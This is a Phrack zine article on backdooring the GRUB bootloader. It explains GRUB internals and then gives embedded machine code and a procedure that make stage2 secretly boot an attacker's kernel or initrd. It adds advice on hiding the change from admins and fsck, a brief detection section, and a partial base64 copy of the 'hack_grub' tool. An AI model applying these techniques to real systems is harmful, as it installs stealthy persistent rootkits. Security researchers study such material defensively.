==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14

```
|=-----------------=[ Hacking Grub for fun and profit ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=---------------=|
|=-----------------------------------------------------------------------=|
```

--[Contents

--[0.0 - Trojan/backdoor/rootkits review

Since 1989 when the first log-editing tool appeared(Phrack 0x19 #6 - Hiding out under Unix), the trojan/backdoor/rootkit have evolved greatly. From the early user-mode tools such as LRK4/5, to kernel-mode ones such as knark/adore/adore-ng, then appears SuckIT, module-injection, nowadays even static kernel-patching.

Think carefully, what remains untouched? Yes, that's bootloader.

So, in this paper, I present a way to make Grub follow your order, that is, it can load another kernel/initrd image/grub.conf despite the file you specify in grub.conf.

P.S.: This paper is based on Linux and EXT2/3 under x86 system.

--[1.0 - Boot process with Grub

----[1.1 - How does Grub work ?

```
                       +-----------+
                       | boot,load |
                       |    MBR    |
                       +-----+-----+
                             |
                     +----------------+     NO
                     | Grub is in MBR +------->-------+
                     +-------+--------+               |
                        Yes  |  stage1        +--------+--------+
               Yes  +--------+---------+      | jump to active  |
             +--<---+ stage1.5 config? |      |    partition    |
             |      +--------+---------+      +--------+--------+
             |            No |                         |
     +-------+-------+       |       |           +-----+-----+
     | load embedded |       |         stage1->  | load boot |
```

```
     |   sectors     |       |       |          |   sector  |
     +-------+-------+       V                  +-----+-----+
        ^    |               |       + - - - < - - -  + Cf 1.3
        |    |               |                 +------+------+
   stage1.5  +-------->------+--------->-------+ load stage2 +
                                               +------+------+
                                                      |
                             +---------------<--------+
                             V
                 +-----------+-----------+
                 |   load the grub.conf  |
                 | display the boot menu |
                 +-----------+-----------+
                             | User interaction
                   +---------+---------+
                   | load kernel image |
                   |     and boot      |
                   +-------------------+
```

----[1.2 - stage1

stage1 is 512 Bytes, you can see its source code in stage1/stage1.S . It's installed in MBR or in boot sector of primary partition. The task is simple - load a specified sector (defined in stage2_sector) to a specified address(defined in stage2_address/stage2_segment). If stage1.5 is configured, the first sector of stage1.5 is loaded at address 0200:000; if not, the first sector of stage2 is loaded at address 0800:0000.

----[1.3 - stage1.5 & stage2

We know Grub is file-system-sensitive loader, i.e. Grub can understand and read files from different file-systems, without the help of OS. Then how? The secret is stage1.5 & stage2. Take a glance at /boot/grub, you'll find the following files:
stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5, reiserfs_stage1_5, ...

We've mentioned stage1 in 1.2, the file stage1 will be installed in MBR or in boot sector. So even if you delete file stage1, system boot are not affected.

What about zeroing file stage2 and *_stage1_5? Can system still boot? The answer is 'no' for the former and 'yes' for the latter. You're wondering about the reason? Then continue your reading...

Let's see how *_stage1_5 and stage2 are generated:

```
-------------------------------- BEGIN -----------------------------------
e2fs_stage1_5:
gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
   e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o
   e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o
   e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o
   e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o
objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5

stage2:
gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200
   pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o
   pre_stage2_exec-builtins.o pre_stage2_exec-common.o
   pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o
   pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o
   pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o
   pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o
   pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o
   pre_stage2_exec-hercules.o pre_stage2_exec-serial.o
   pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o
   pre_stage2_exec-md5.o
objcopy -O binary pre_stage2.exec pre_stage2
cat start pre_stage2 > stage2
--------------------------------- END ------------------------------------
```

```
   According to the output above, the layout should be:
e2fs_stage1_5:
  [start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c]
  [fsys_ext2fs.c] [bios.c]
stage2:
  [start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c]
  [cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c]
  [fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c]
  [hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]
```

We can see e2fs_stage1_5 and stage2 are similar. But e2fs_stage1_5 is smaller, which contains basic modules(disk io, string handling, system initialization, ext2/3 file system handling), while stage2 is all-in-one, which contains all file system modules, display, encryption, etc.

start.S is very important for Grub. stage1 will load start.S to 0200:0000(if stage1_5 is configured) or 0800:0000(if not), then jump to it. The task of start.S is simple(only 512Byte),it will load the rest parts of stage1_5 or stage2 to memory. The question is, since the file-system related code hasn't been loaded, how can grub know the location of the rest sectors? start.S makes a trick:

```
-------------------------------- BEGIN ------------------------------------
blocklist_default_start:
        .long 2         /* this is the sector start parameter, in logical
                           sectors from the start of the disk, sector 0 */
blocklist_default_len:  /* this is the number of sectors to read */
#ifdef STAGE1_5
        .word 0         /* the command "install" will fill this up */
#else
        .word (STAGE2_SIZE + 511) >> 9
#endif
blocklist_default_seg:
#ifdef STAGE1_5
        .word 0x220
#else
        .word 0x820     /* this is the segment of the starting address
                           to load the data into */
#endif
firstlist:      /* this label has to be after the list data!!! */
--------------------------------- END ------------------------------------
```

an example:

```
# hexdump -x -n 512 /boot/grub/stage2
    ...
00001d0  [ 0000    0000    0000    0000 ][ 0000    0000    0000    0000 ]
00001e0  [ 62c7    0026    0064    1600 ][ 62af    0026    0010    1400 ]
00001f0  [ 6287    0026    0020    1000 ][ 61d0    0026    003f    0820 ]
```

We should interpret(backwards) it as: load 0x3f sectors(start with No. 0x2661d0) to 0x0820:0000, load 0x20 sectors(start with No.0x266287) to 0x1000:0000, load 0x10 sectors(start with No.0x2662af) to 0x1400:00, load 0x64 sectors(start with No.0x2662c7) to 0x1600:0000.

In my distro, stage2 has 0xd4(1+0x3f+0x20+0x10+0x64) sectors, file size is 108328 bytes, the two matches well(sector size is 512).

When start.S finishes running, stage1_5/stage2 is fully loaded. start.S jumps to asm.S and continues to execute.

There still remains a problem, when is stage1.5 configured? In fact, stage1.5 is not necessary. Its task is to load /boot/grub/stage2 to memory. But pay attention, stage1.5 uses file system to load file stage2: It analyzes the dentry, gets stage2's inode, then stage2's blocklists. So if stage1.5 is configured, the stage2 is loaded via file system; if not, stage2 is loaded via both stage2_sector in stage1 and sector lists in start.S of stage2.

To make things clear, suppose the following scenario: (ext2/ext3)

```
# mv /boot/grub/stage2 /boot/grub/stage2.bak
```

If stage1.5 is configured, the boot fails, stage1.5 can't find /boot/grub/stage2 in the file-system. But if stage1.5 is not configured, the boot succeeds! That's because mv doesn't change stage2's physical layout, so stage2_sector remains the same, also the sector lists in stage2.

Now, stage1 (-> stage1.5) -> stage2. Everything is in position. asm.S will switch to protected mode, open /boot/grub/grub.conf(or menu.lst), get configuration, display menus, and wait for user's interaction. After user chooses the kernel, grub loads the specified kernel image(sometimes ramdisk image also), then boots the kernel.

----[1.4 - Grub util

If your grub is overwritten by Windows, you can use grub util to reinstall grub.

```
    # grub
    ---
    grub > find /grub/stage2      <- if you have boot partition
    or
    grub > find /boot/grub/stage2 <- if you don't have boot partition
    ---
    (hd0,0)                       <= the result of 'find'
    grub > root (hd0,0)           <- set root of boot partition
    ---
    grub > setup (hd0)            <- if you want to install grub in mbr
    or
    grub > setup (hd0,0)          <- if you want to install grub in the
    ---                              boot sector
    Checking if "/boot/grub/stage1" exists... yes
    Checking if "/boot/grub/stage2" exists... yes
    Checking if "/boot/grub/e2fs_stage1_t" exists... yes
    Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are
embedded succeeded.                <= if you install grub in boot sector,
                                      this fails
    Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p
(hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded
    Done
```

We can see grub util tries to embed stage1.5 if possible. If grub is installed in MBR, stage1.5 is located after MBR, 22 sectors in size. If grub is installed in boot sector, there's not enough space to embed stage1.5(superblock is at offset 0x400 for ext2/ext3 partition, only 0x200 for stage1.5), so the 'embed' command fails.
Refer to grub manual and source codes for more info.

--[2.0 - Possibility to load specified file

Grub has its own mini-file-system for ext2/3. It use grub_open(), grub_read() and grub_close() to open/read/close a file. Now, take a look at ext2fs_dir

```
/* preconditions: ext2fs_mount already executed, therefore supblk in buffer
 *                known as SUPERBLOCK
 * returns: 0 if error, nonzero iff we were able to find the file
 *          successfully
 * postconditions: on a nonzero return, buffer known as INODE contains the
 *                 inode of the file we were trying to look up
 * side effects: messes up GROUP_DESC buffer area
 */
int ext2fs_dir (char *dirname) {
  int current_ino = EXT2_ROOT_INO;      /*start at the root */
  int updir_ino = current_ino;  /* the parent of the current directory */
  ...
}
```

Suppose the line in grub.conf is:
kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1
grub_open calls ext2fs_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"), ext2fs_dir puts the inode info in INODE, then grub_read can use INODE to get data of any offset(the map resides in INODE->i_blocks[] for direct blocks).

```
    The internal of ext2fs_dir is:
    1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
       ^ inode = EXT2_ROOT_INO, put inode info in INODE;
    2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
        ^ find dentry in '/', then put the inode info of '/boot' in INODE;
    3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
             ^ find dentry in '/boot', then put the inode info of
             '/boot/vmlinuz-2.6.11' in INODE;
    4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
                           ^ the pointer is space, INODE is regular file,
                           returns 1(success), INODE contains info about
                           '/boot/vmlinuz-2.6.11'.
    If we parasitize this code, and return inode info of file_fake, grub
will happily load file_fake, considering it as /boot/vmlinuz-2.6.11.
    We can do this:
    1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
       ^ inode = EXT2_ROOT_INO;
    2.  boot/vmlinuz-2.6.11 ro root=/dev/hda1
       ^ change it to 0x0, change EXT2_ROOT_INO to inode of file_fake;
    3.  boot/vmlinuz-2.6.11 ro root=/dev/hda1
       ^ EXT2_ROOT_INO(file_fake) info is in INODE, the pointer is 0x0,
       INODE is regular file, returns 1.
```

Since we change the argument of ext2fs_dir, does it have side-effects? Don't forget the latter part "ro root=/dev/hda1", it's the parameter passed to kernel. Without it, the kernel won't boot correctly.
(P.S.: Just "cat/proc/cmdline" to see the parameter your kernel has.)
So, let's check the internal of "kernel=..."
kernel_func processes the "kernel=..." line

```
static int
kernel_func (char *arg, int flags)
{
  ...
  /* Copy the command-line to MB_CMDLINE.  */
  grub_memmove (mb_cmdline, arg, len + 1);
  kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags);
  ...
}
```

See? The arg and mb_cmdline have 2 copies of string "/boot/vmlinuz-2.6.11 ro root=/dev/hda1" (there is no overlap, so in fact, grub_memmove is the same as grub_memcpy). In load_image, you can find arg and mb_cmdline don't mix with each other. So, the conclusion is - NO side-effects. If you're not confident, you can add some codes to get things back.

--[3.0 - Hacking techniques

The hacking techniques should be general for all grub versions(exclude grub-ng) shipped with all Linux distros.

----[3.1 - How to load file_fake

We can add a jump at the beginning of ext2fs_dir, then make the first character of ext2fs_dir's argument to 0, make "current_ino = EXT2_ROOT_INO" to "current_ino = INODE_OF_FAKE_FILE", then jump back.
Attention: Only when certain condition is met can you load file_fake. e.g.: When system wants to open /boot/vmlinuz-2.6.11, then /boot/file_fake is returned; while when system wants /boot/grub/grub.conf, the correct file should be returned. If the codes still return /boot/file_fake, oops, no menu display.
Jump is easy, but how to make "current_ino = INODE_OF_FAKE_FILE"?

```
int ext2fs_dir (char *dirname) {
  int current_ino = EXT2_ROOT_INO;      /*start at the root */
  int updir_ino = current_ino;  /* the parent of the current directory */
 ...
```

EXT2_ROOT_INO is 2, so current_ino and updir_ino are initialized to 2. The correspondent assembly code should be like "movl $2, 0xffffXXXX($esp)"

```
But keep in mind of optimization: both current_ino and updir_ino are
assigned to 2, the optimized result can be "movl $2, 0xffffXXXX($esp)"
and "movl $2, 0xffffYYYY($esp)", or "movl $2, %reg" then "movl %reg,
0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", or more variants. The type
is int, value is 2, so the possibility of "xor %eax, %eax; inc %eax;
inc %eax" is low, it's also the same to "xor %eax, %eax; movb $0x2, %al".
What we need is to search 0x00000002 from ext2fs_dir to ext2fs_dir +
depth(e.g.: 100 bytes), then change 0x00000002 to INODE_OF_FAKE_FILE.

static char ext2_embed_code[] = {

        0x60,                           /* pusha                        */
        0x9c,                           /* pushf                        */
        0xeb, 0x28,                     /* jmp 4f                       */
        0x5f,                           /* 1: pop %edi                  */
        0x8b, 0xf,                      /* movl (%edi), %ecx            */
        0x8b, 0x74, 0x24, 0x28,         /* movl 40(%esp), %esi          */
        0x83, 0xc7, 0x4,                /* addl $4, %edi                */
        0xf3, 0xa6,             /* repz cmpsb %es:(%edi), %ds:(%esi)    */
        0x83, 0xf9, 0x0,                /* cmp $0, %ecx                 */
        0x74, 0x2,                      /* je 2f                        */
        0xeb, 0xe,                      /* jmp 3f                       */
        0x8b, 0x74, 0x24, 0x28,         /* 2: movl 40(%esp), %esi       */
        0xc6, 0x6, 0x00,                /* movb $0x0, (%esi)    '\0'    */
        0x9d,                           /* popf                         */
        0x61,                           /* popa                         */
        0xe9, 0x0, 0x0, 0x0, 0x0,       /* jmp change_inode             */
        0x9d,                           /* 3: popf                      */
        0x61,                           /* popa                         */
        0xe9, 0x0, 0x0, 0x0, 0x0,       /* jmp not_change_inode         */
        0xe8, 0xd3, 0xff, 0xff, 0xff,   /* 4: call 1b                   */

        0x0, 0x0, 0x0, 0x0,             /* kernel filename length       */
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,   /* filename string, 48B in all  */
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
        0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};

memcpy( buf_embed, ext2_embed_code, sizeof(ext2_embed_code));
Of course you can write your own string-comparison algorithm.

/* embeded code, 2nd part, change_inode */
memcpy( buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start);
modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();

/* embeded code, 3rd part, not_change_inode*/
memcpy( buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5,
        s_start, s_mov_end - s_start);

  The result is like this:

 ext2fs_dir:                                     not_change_inode:
  +------------------------+        +--------> +------------------------+
  | push %esp <= jmp embed |        |          | push %esp              |
  | mov %esp, %ebp         |        |          | mov %esp, %ebp         |
  | push %edi              |        |          | push %edi              |
  | push %esi              +--------<          | push %esi              |
  | sub $0x42c, %esp       |        |          | sub $0x42c, %esp       |
  | mov $2, fffffbe4(%esp) |        |          | mov $2, fffffbe4(%esp) |
  | mov $2, fffffbe0(%esp) |        |          | mov $2, fffffbe0(%esp) |
  |back:                   |        |          | jmp back               |
  +------------------------+        |          +------------------------+
 embed:                             +--------> change_inode:
  +------------------------+                   +------------------------+
  | save registers         |                   | push %esp              |
```

```
  | compare strings        |                    | mov %esp, %ebp         |
  | if match, goto 1       |                    | push %edi              |
  | if not, goto 2         |                    | push %esi              |
  | 1: restore registers   |                    | sub $0x42c, %esp       |
  | jmp change_inode       |   INODE_OF_   ->   | mov $?, fffffbe4(%esp) |
  | 2: restore registers   |   FAKE_FILE   ->   | mov $?, fffffbe0(%esp) |
  | jmp not_change_inode   |                    | jmp back               |
  +------------------------+                    +------------------------+
```

----[3.2 - How to locate ext2fs_dir

That's the difficult part. stage2 is generated by objcopy, so all ELF information are stripped - NO SYMBOL TABLE! We must find some PATTERNs to locate ext2fs_dir.

The first choice is log2:

```
#define long2(n) ffz(~(n))
static __inline__ unsigned long
ffz (unsigned long word)
{
    __asm__ ("bsfl %1, %0"
            :"=r" (word)
            :"r" (~word));
    return word;
}
group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK));
```

The question is, ffz is declared as __inline__, which indicates MAYBE this function is inlined, MAYBE not. So we give it up.

Next choice is SUPERBLOCK->s_inodes_per_group in

```
group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group);
#define RAW_ADDR(x) (x)
#define FSYS_BUF RAW_ADDR(0x68000)
#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF))
struct ext2_super_block{
    ...
    __u32 s_inodes_per_group        /* # Inodes per group */
    ...
}
```

Then we calculate SUPERBLOCK->s_inodes_per_group is at 0x68028. This address only appears in ext2fs_dir, so the possibility of collision is low. After locating 0x68028, we move backwards to get the start of ext2fs_dir. Here comes another question, how to identify the start of ext2fs_dir? Of course you can search backwards for 0xc3, likely it's ret. But what if it's only part of an instruction such as operands? Also, sometimes, gcc adds some junk codes to make function address aligned(4byte/8byte/16byte), then how to skip these junk codes? Just list all the possible combinations?
This method is practical, but not ideal.

Now, we noticed fsys_table:

```
struct fsys_entry fsys_table[NUM_FSYS + 1] =
{
  ...
# ifdef FSYS_FAT
  {"fat", fat_mount, fat_read, fat_dir, 0, 0},
# endif
# ifdef FSYS_EXT2FS
  {"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0},
# endif
# ifdef FSYS_MINIX
  {"minix", minix_mount, minix_read, minix_dir, 0, 0},
# endif
  ...
};
```

fsys_table is called like this:

```
      if ((*(fsys_table[fsys_type].mount_func)) () != 1)

    So, our trick is:
1. Search stage2 for string "ext2fs", get its offset, then convert it to
   memory address(stage2 starts from 0800:0000) addr_1.
2. Search stage2 for addr_1, get its offset, then get next 5 integers
   (A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0? If any one is "No",
   goto 1 and continue search
3. Then C is memory address of ext2fs_dir, convert it to file offset. OK,
   that's it.

----[ 3.3 - How to hack grub

    OK, with the help of 3.1 and 3.2, we can hack grub very easily.
    The first target is stage2. We get the start address of ext2fs_dir, add
a JMP to somewhere, then copy the embeded code. Then where is 'somewhere'?
Obviously, the tail of stage2 is not perfect, this will change the file
size. We can choose minix_dir as our target. What about fat_mount? It's
right behind ext2fs_dir. But the answer is NO! Take a look at "root ..."

    root_func()->open_device()->attemp_mount()
    for (fsys_type = 0; fsys_type < NUM_FSYS
         && (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);

    Take a look at fsys_table, fat is ahead of ext2, so fat_mount is called
first. If fat_mount is modified, god knows the result. To make things safe,
we choose minix_dir.

    Now, your stage2 can load file_fake. Size remains the same, but hash
value changed.

----[ 3.4 - How to make things sneaky

    Why must we use /boot/grub/stage2? We can get stage1 jump to
stage2_fake(cp stage2 stage2_fake, modify stage2_fake), so stage2 remains
intact.
    If you cp stage2 to stage2_fake, stage2_fake won't work. Remember the
sector lists in start.S? You have to change the lists to stage2_fake, not
the original stage2. You can retrieve the inode, get i_block[], then the
block lists are there(Don't forget to add the partition offset). You have
to bypass the VFS to get inode info, see [1].
    Since you use stage2_fake, the correspondent address in stage1 should
be modified. If the stage1.5 is not installed, that's easy, you just change
stage2_sector from stage2_orig to stage2_fake(MBR is changed). If stage1.5
is installed and you're lazy and bold, you can skip stage1.5 - modify
stage2_address, stage2_sector, stage2_segment of stage1. This is risky,
because 1) If "virus detection" in BIOS is enabled, the MBR modification
will be detected 2) The "Grub stage1.5" & "Grub loading, please wait" will
change to "Grub stage2". It's flashy, can you notice it on your FAST PC?
    If you really want to be sneaky, then you can hack stage1.5, using
similiar techniques like 3.1 and 3.2. Don't forget to change the sector
lists of stage1.5(start.S) - you have to append your embeded code at the
end.
    You can make things more sneaky: make stage2_fake/kernel_fake hidden
from FS, e.g. erase its dentry from /boot/grub. Wanna anti-fsck? Move
inode_of_stage2 to inode_from_1_to_10. See  [2]

--[ 4.0 - Usage

    Combined with other techniques, see how powerful our hack_grub is.
    Notes: All files should reside in the same partition!
    1) Combined with static kernel patch
       a) cp kernel.orig kernel.fake
       b) static kernel patch with kernel.fake[3]
       c) cp stage2 stage2.fake
       d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake
       e) hide kernel.fake and stage2.fake (optional)
    2) Combined with module injection
       a) cp initrd.img.orig initrd.img.fake
       b) do module injection with initrd.img.fake, e.g. ext3.[k]o [4]
```

```
       c) cp stage2 stage2.fake
       d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake
       e) hide initrd.img.fake and stage2.fake (optional)
    3) Make a fake grub.conf
    4) More...
```

--[5.0 - Detection

```
    1) Keep an eye on MBR and the following 63 sectors, also primary boot
       sectors.
    2) If not 1,
        a) if stage1.5 is configured, compare sectors from 3(absolute
           address, MBR is sector No. 1) with /boot/grub/e2fs_stage1_5
        b) if stage1.5 is not configured, see if stage2_sector points to
           real /boot/grub/stage2 file
    3) check the file consistency of e2fs_stage1_5 and stage2
    4) if not 3 (Hey, are you a qualified sysadmin?)
       if a) If you're suspicious about kernel, dump the kernel and make a
             byte-to-byte with kernel on disk. See [5] for more
          b) If you're suspicious about module, that's a hard challenge,
             maybe you can dump it and disassemble it?
```

--[6.0 - At the end

Lilo is another boot loader, but it's file-system-insensitive. So Lilo doesn't have built-in file-systems. It relies on /boot/bootsect.b and /boot/map.b. So, if you're lazy, write a fake lilo.conf, which displays a.img but loads b.img. Or, you can make lilo load /boot/map.b.fake. The details depend on yourself. Do it!

Thanks to madsys & grip2 for help me solve some hard-to-crack things; thanks to airsupply and other guys for stage2 samples (redhat 7.2/9/as3, Fedora Core 2, gentoo, debian and ubuntu), thanks to zhtq for some comments about paper-writing.

--[7.0 - Ref

[1] Design and Implementation of the Second Extended Filesystem
    http://e2fsprogs.sourceforge.net/ext2intro.html
[2] ways to hide files in ext2/3 filesystem (Chinese)
    http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
    Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1
[3] Static Kernel Patching
    http://www.phrack.org/show.php?p=60&a=8
[4] Infecting Loadable Kernel Modules
    http://www.phrack.org/show.php?p=61&a=10
[5] Ways to find 2.6 kernel rootkits (Chinese)
    http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
    Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1

--[8 - hack_grub.tar.gz

begin-base64 644 hack_grub.tar.gz
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
